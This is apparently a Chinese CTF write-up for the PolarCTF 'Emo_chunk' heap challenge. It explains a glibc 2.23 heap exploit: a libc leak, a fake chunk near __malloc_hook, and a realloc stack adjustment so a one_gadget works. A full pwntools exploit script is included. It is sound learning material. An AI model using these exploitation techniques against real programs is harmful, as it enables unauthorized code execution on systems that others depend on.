0x01 前言

做到这题的时候想到一个严重的问题,这种菜单堆题以前我都是怎么做的呢?都是通过堆溢出/uaf 在 __malloc_hook 附近伪造一个 fake chunk 然后将其申请下来,再通过堆编辑来将原本的 __malloc_hook 覆盖成 one_gadget。尝试运行一遍打不通,就换一个 one_gadget,但是其实我没有想过为什么会打不通以及当所有 one_gadget 都打不通的时候怎么办?

0x02 如何解决?

学到了一个新的手段,我们可以利用 realloc 来调整栈帧,在网络上搜索到了一篇博客,大佬详细解释了我上面的问题以及如何解决,现在用一道会有这种情况的题目来实际操作一下,题目是PolarCTF2023秋季个人挑战赛的Emo_chunk

0x03 分析:

Checksec:
Patch 过了,顺便吐槽一下这个靶场好多堆题都不给 libc 版本,但是看官方解说视频又不说为什么用他那个版本,看到视频里用的是 libc.2.23 就用 2.23 来 patch 了。上 ida:
典型菜单堆题,而且有 shell 函数:
但是我一开始没有看到,用了 one_gadget 来打… 而且官方题解视频里也是用 one_gadget,所以现在我们先忽略这个 shell 函数。继续跟进各个函数:
没有 UAF

0x04 堆溢出伪造chunk

但是编辑堆这里会有堆溢出,接下来就是常规操作,先申请一个大堆块,释放之后会被放到 unseorted bin 中,再申请出来就能泄露 libc 基地址,然后申请 3 个堆块,利用堆溢出在 __malloc_hook 附近伪造一个 chunk,将其申请下来,编辑覆写掉 __malloc_hook

malloc(0x410)#0
malloc(0x68)#1

free(0)
malloc(0x410)
show(0)
# debug()

libc_base=uru64()-0x3c4b78
leak('libc_base')

malloc_hook=libc_sym('__malloc_hook')
realloc=libc_sym('realloc')

one=[0x4527a,0xf03a4,0xf1247]

malloc(0x68)#2
malloc(0x68)#3
malloc(0x68)#4

free(3)
payload=b'a'*(0x68)+p64(0x71)+p64(malloc_hook-0x23)
edit(2,payload)

malloc(0x68)#3
malloc(0x68)#5

edit(5,b'a'*(0x23-0x10)+p64(libc_os(one[0])))
malloc(0x68)

0x05 one_gadget打不通了/(ㄒoㄒ)/~~

根据以往的经验,把所有 one_gadget 都试一次,总有一次能打通,但是这次不行了,所以逼自己简单学习一下为什么不行以及如何解决,先看一下 one_gadget 能打通的条件:
然后我们开启 gdb,把断点下在最后一次 malloc:
单步到这里,然后步入这个 malloc 函数,最后应该有一个类似 call xxx 的:
然后我们检查一下是否满足 one_gadget 的条件,分别要检查 [rsp+0x30] == NULL[rsp+0x50] == NULL[rsp+0x70] == NULL都不满足,所以全部 one_gadget 都用不了了。

0x06 realloc抬高栈帧

所以到这里就需要用 realloc 来调整栈帧,也就是改变 rsp,因为 realloc 函数也存在一个 __realloc_hook,在执行 realloc 的时候会先判断 realloc 是否为空,不空则执行 realloc。而且 __realloc_hook__malloc_hook 的地址只相差 8:在覆写 __malloc_hook 的时候可以顺便控制 __realloc_hook。思路基本上就是 __malloc_hook 写成 __realloc_hook__realloc_hook 中写入 one_gadget

0x07 pop的反义词是… 可能是push

realloc 是怎么改变栈帧的,我们把 libc 丢到 ida 中:
可以看到 realloc 中有很多 push 函数,还有可以直接改变 rsp 的指令,所以这就是 realloc 函数能改变栈帧的原因。能变多少?直接说结论:执行一次realloc函数最少应该抬高0x40个字节(sub rsp,0x38让rsp-0x38再加上call时的压栈指令)

到这里就能够理解官方视频中最后这里的爆破是在做什么了:
画个图理解一下:
垃圾数据填充到 __realloc_hook, 然后分别填入 one_gadgetrealloc+? 这里 __realloc_hook 地址被覆盖成 one_gadget 了,而 __malloc_hook 则被覆盖成 realloc+?,下面则是自己写的一个爆破脚本:
意思是在 realloc 函数中寻找合适的抬高栈帧的指令的数量,至于为什么是 [2,4,6,8,10] 则是因为:
可以看到前几条 push 指令都是占了 2 个字节,为了避免发生 push 指令从中间断开,所以是 [2,4,6,8,10],而 i 则是在遍历所有 one_gadget。
唉但是这样也只是权宜之计,理论上的确是能够通过爆破来找到能跑通 one_gadget 组合,我觉得还得是要把大佬的博客理解透彻才对:使用realloc函数来调整栈帧让one_gadget生效,得深入理解其中 realloc 以及其他指令(call之类)的对rsp的变换。

0x08 Exp:

from pwn import *
from ctypes import *
from struct import pack

context(log_level = 'debug',arch = 'amd64', os = 'linux')
file='/mnt/c/Users/Z2023/Desktop/Emo_chunk'
elf=ELF(file)
libc=ELF('/home/liiinkle/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
# libc=ELF('/mnt/c/Users/Z2023/Desktop/libc6_2.23-0ubuntu11.3_amd64.so')
# libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
# libc=cdll.LoadLibrary('/home/liiinkle/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc.so.6')

choice = 0 #打远程时改成1
if choice:
port=2121
buu='node5.buuoj.cn'
nss='node4.anna.nssctf.cn'
polar='1.95.36.136'
nsctf='10.197.65.111'
p = remote(polar,port) #打远程时修改ip和端口
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])

def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)
pause()

def malloc(size):
sla('Please Choice!\n',b'1')
sla('Size:\n',str(size))

def free(index):
sla('Please Choice!\n',b'2')
sla('index:\n',str(index))

def edit(index,content):
sla('Please Choice!\n',b'3')
sla('index:\n',str(index))
sla('hange EMo Content\n',content)

def show(index):
sla('Please Choice!\n',b'4')
sla('index:\n',str(index))


malloc(0x410)#0
malloc(0x68)#1

free(0)
malloc(0x410)
show(0)
# debug()

libc_base=uru64()-0x3c4b78
leak('libc_base')

malloc_hook=libc_sym('__malloc_hook')
realloc=libc_sym('realloc')

one=[0x4527a,0xf03a4,0xf1247]

malloc(0x68)#2
malloc(0x68)#3
malloc(0x68)#4

free(3)
payload=b'a'*(0x68)+p64(0x71)+p64(malloc_hook-0x23)
edit(2,payload)

malloc(0x68)#3
malloc(0x68)#5
payload=b'a'*(0x23-0x10)+p64(libc_os(one[0]))
edit(5,payload)
edit(5,b'a'*(0x23-0x10-0x8)+p64(libc_os(one[0]))+p64(realloc+8))
# edit(5,b'a'*(0x23-0x10)+p64(0x000000000400946))
# debug()
malloc(0x68)

itr()